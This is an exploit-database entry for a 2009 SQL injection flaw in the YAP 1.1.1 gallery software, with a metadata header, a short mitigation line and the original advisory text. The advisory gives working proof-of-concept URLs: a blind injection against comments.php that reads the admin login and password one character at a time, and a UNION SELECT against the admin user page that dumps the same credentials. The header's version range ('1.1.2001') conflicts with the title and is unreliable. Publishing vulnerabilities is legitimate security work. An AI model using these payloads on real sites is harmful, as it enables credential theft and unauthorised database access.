YAP 1.1.1 Blind SQL Injection/SQL Injection

vendor:

YAP

by:

SirGod

7.5

CVSS

HIGH

Blind SQL Injection/SQL Injection

CWE

Product Name: YAP

Affected Version From: 1.1.2001

Affected Version To: 1.1.2001

Patch Exists: NO

Related CWE: N/A

CPE: a:yap:yap

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

YAP 1.1.1 Blind SQL Injection/SQL Injection

The default prefix for database tables is 'yap_' but can be changed at installation. A PoC is provided to demonstrate how to extract the username and password from the database. An SQL injection is also provided to extract the username and password from the database, but the user must be logged in as an administrator.

Mitigation:

Ensure that the database prefix is not set to the default value and that all user input is properly sanitized.

Source

Exploit-DB raw data:

#######################################################################################################
[+] YAP 1.1.1 Blind SQL Injection/SQL Injection
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
########################################################################################################

[+] Blind SQL Injection

  The default prefix for database tables is "yap_" .But can be changed
at installation.

 PoC :

     http://127.0.0.1/[path]/comments.php?image_id=1 and ascii(substring((SELECT concat(login,0x3a,pass) from yap_user limit 0,1),1,1))>97

   First character of the username is char(97) , is "a" .

     http://127.0.0.1/[path]/comments.php?image_id=1 and ascii(substring((SELECT concat(login,0x3a,pass) from yap_user limit 0,1),2,1))>100

   Second character of the username is char(100) ,is "d" .

 And so on...Change the limit to go to the next char.


[+] SQL Injection

 - Need to be logged in as administrator.

    http://127.0.0.1/[path]/admin/index.php?page=users_modif&action=modif&user=null union all select concat_ws(0x3a,login,pass),2 from yap_user where id=1--

#########################################################################################################

# milw0rm.com [2009-03-16]